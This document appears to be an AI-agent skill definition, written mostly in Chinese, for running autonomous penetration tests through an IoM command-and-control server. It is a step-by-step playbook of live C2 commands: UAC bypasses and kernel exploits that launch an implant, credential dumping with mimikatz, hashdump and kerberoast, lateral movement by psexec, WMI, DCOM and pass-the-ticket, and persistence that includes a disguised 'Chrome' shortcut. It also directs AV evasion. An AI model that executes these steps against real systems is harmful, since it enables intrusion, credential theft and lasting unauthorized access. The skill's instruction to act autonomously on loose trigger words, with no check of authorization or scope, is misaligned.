name: iom-pentest description: > Autonomous penetration testing through IoM C2 MCP tools. Covers the full engagement lifecycle: reconnaissance, privilege escalation, credential harvesting, lateral movement, and persistence. Operates in an OODA loop — each phase analyzes results before deciding the next action. Use this skill whenever the user wants to run automated pentest, red team assessment, privilege escalation analysis, post-exploitation, or any offensive operation through IoM — even if they just mention "pentest", "提权", "横向", "信息收集", "凭据", "持久化", or "自动化测试".
IoM Automated Penetration Test
通过 IoM MCP 工具进行自主渗透测试。核心是 OODA 循环 — 观察、分析、决策、行动,每个阶段根据实际环境自适应。
核心原则
- 每步先看数据再决定下一步 — 不盲目执行,根据环境调整策略
- OPSEC 优先 — 先识别防护,再选择相应规避手法。详见 reference/opsec-guide.md
- 失败即转向 — 某手法被拦截,标记并换路径,不重试同一技术
- 最小动作原则 — 能用 BOF 就不用 execute_assembly,能不落盘就不写文件
MCP 工具使用规范
所有操作通过 mcp__iom__execute_command 执行:
- 切换 session:
use <session_id_prefix>— 进入 implant 上下文 - implant 命令: 切换后直接执行
sysinfo,whoami,ps等 - client 命令:
session,listener,pipeline list等不需要 session 上下文 - task 结果: execute_command 会自动等待并返回结果,无需手动 get_history
命令用法详见 MCP 工具的 help 描述。特别注意:
- BOF 类 UAC bypass(elevatedcom/sspi/colordataproxy/registryshell)使用位置参数
- Flag 类 UAC bypass(silentcleanup/editionupgrade)使用
--commandflag- 详见 reference/technique-reference.md
阶段总览
Phase 1: 态势感知 → 身份、权限、环境、防护
↓ 检查点:我是谁?能做什么?面对什么防护?
Phase 2: 提权 → UAC bypass / Potato / 内核漏洞
↓ 检查点:拿到高权限了吗?
Phase 3: 凭据收割 → hash / 明文 / ticket / token
↓ 检查点:拿到什么凭据?能用在哪?
Phase 4: 横向移动 → psexec / wmi / dcom / ptt
↓ 检查点:新立足点在哪?重复 Phase 1
Phase 5: 持久化 → 注册表 / 服务 / 计划任务
↓ 检查点:重启后还能回来吗?
Phase 1: 态势感知
做什么: 全面了解当前位置和环境
use <session_id>
sysinfo
whoami
privs
shell whoami /groups
ps
enum av
ipconfig
systeminfo
enum software
netstat
检查点(必须分析后再往下走):
| 维度 | 关键问题 | 决策影响 |
|------|---------|---------|
| 权限 | Medium 还是 High?有 * 标记吗? | Medium → Phase 2 提权;High → 跳到 Phase 3 |
| 管理员组 | BUILTIN\Administrators 在 groups 里吗? | 在 → UAC bypass 可行;不在 → 需要其他提权路径 |
| 完整性级别 | Mandatory Label 是什么级别? | Medium → UAC bypass;Low → 需要内核漏洞 |
| AV/EDR | 跑了什么安全产品? | 决定执行方式选择,详见 reference/opsec-guide.md |
| 域环境 | WORKGROUP 还是域? | 域 → Phase 4 有更多横向路径 |
| 补丁级别 | 最后安装的 KB 是什么时候的? | 老补丁 → 内核漏洞可用 |
| 网络位置 | 内网段是什么?能看到其他机器吗? | 决定 Phase 4 横向目标 |
Phase 2: 提权
仅当 Phase 1 判断为非管理员权限时执行。
提权路径选择,按优先级排列。完整的技术参考见 reference/technique-reference.md。
2.1 UAC Bypass(用户在 Administrators 组 + Medium 完整性)
优先选择(BOF 类,低检测率):
uac-bypass elevatedcom "C:\path\to\implant.exe"
uac-bypass sspi "C:\path\to\implant.exe"
uac-bypass colordataproxy "C:\path\to\implant.exe"
备选(需要 --command flag):
uac-bypass silentcleanup --command "C:\path\to\implant.exe"
uac-bypass editionupgrade --command "C:\path\to\implant.exe"
PowerShell 类(最后手段,容易被拦截):
uac-bypass eventvwr
uac-bypass wscript
uac-bypass envbypass
implant 路径从 Phase 1 的
sysinfo获取(file 字段)。
2.2 Token/Potato(有 SeImpersonatePrivilege)
elevate SweetPotato
elevate EfsPotato
elevate JuicyPotato --type t --program "C:\implant.exe" --port 1337
2.3 内核漏洞(补丁级别老旧)
根据 Phase 1 的 OS 版本和补丁判断:
| OS 版本 | 可用漏洞 |
|---------|---------|
| Win10 1903/1909 | elevate cve-2020-0796 |
| Win7/8.1/2008R2/2012 | elevate ms15-051, elevate ms14-058 |
| Win7/Vista x86 | elevate ms16-016 |
| 通用(旧补丁) | elevate ms16-032 |
2.4 其他路径
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" AlwaysInstallElevated
getsystem
检查点:每次提权尝试后,session 查看是否有新的 * 标记 session。成功后 use <new_session> 并用 privs 确认。
Phase 3: 凭据收割
从最高权限 session 执行。
hashdump
logonpasswords
credman
autologon
mimikatz privilege::debug sekurlsa::logonpasswords
如果是域环境:
ldapsearch --query "(&(objectClass=user)(adminCount=1))"
ldapsearch --query "(&(samAccountType=805306368)(servicePrincipalName=*))"
klist
domain kerberoast
检查点:收集到的凭据整理成表格,分析哪些可用于横向移动。
Phase 4: 横向移动
基于 Phase 3 的凭据和 Phase 1 的网络发现。
4.1 网络发现
pingscan --target <local_subnet>/24
portscan --target <live_hosts> --ports 445,3389,5985,22,80,443
4.2 移动执行
使用收集到的凭据:
move wmi-proccreate --target <ip> --command "C:\payload.exe"
move psexec --host <ip> --service MySvc --path /local/payload.exe
move dcom --target <ip> --cmd "C:\payload.exe"
move krb_ptt --ticket <base64_ticket>
token make --username admin --password P@ss --domain CONTOSO
检查点:session 确认新 session,然后对新 session 回到 Phase 1。
Phase 5: 持久化
根据权限级别选择。 详见 reference/technique-reference.md。
管理员:
persistence Registry_Key --artifact_name <name>
persistence Install_Service --artifact_name <name>
persistence Scheduled_Task --artifact_name <name>
普通用户:
persistence startup_folder --use_malefic_as_custom_file
persistence reg_key
persistence NewLnk --artifact_name <name> --lnkname "Chrome" --filepath "C:\Users\<user>\Desktop"
验证:安装后检查对应的注册表/服务/计划任务确认生效。
输出报告
每次执行完成后,生成结构化报告:
## Penetration Test Report
**Date**: YYYY-MM-DD HH:MM
**Scope**: $ARGUMENTS
### Attack Path
initial_session → [technique] → elevated_session → [credential] → lateral_session
### Sessions
| Session | Host | User | Privilege | How |
|---------|------|------|-----------|-----|
### Credentials
| Type | User | Domain | Source |
|------|------|--------|--------|
### Techniques
| Phase | MITRE ID | Technique | Result | Notes |
|-------|----------|-----------|--------|-------|
### Defensive Gaps
[What allowed the attack to succeed]
### Cleanup
[Artifacts removed, persistence cleaned if requested]
参考文档
| 需求 | reference 文件 | |------|---------------| | OPSEC 策略与 AV 规避 | reference/opsec-guide.md | | 提权/横移/持久化技术速查 | reference/technique-reference.md |
$ARGUMENTS
Security Audit Scanner
Security
Analyzes code to detect OWASP Top 10 vulnerabilities.
OWASP Security Checklist
Security
Generates application security checklists based on the OWASP Top 10.
Threat Model Generator
Security
Generates threat model documents with STRIDE analysis.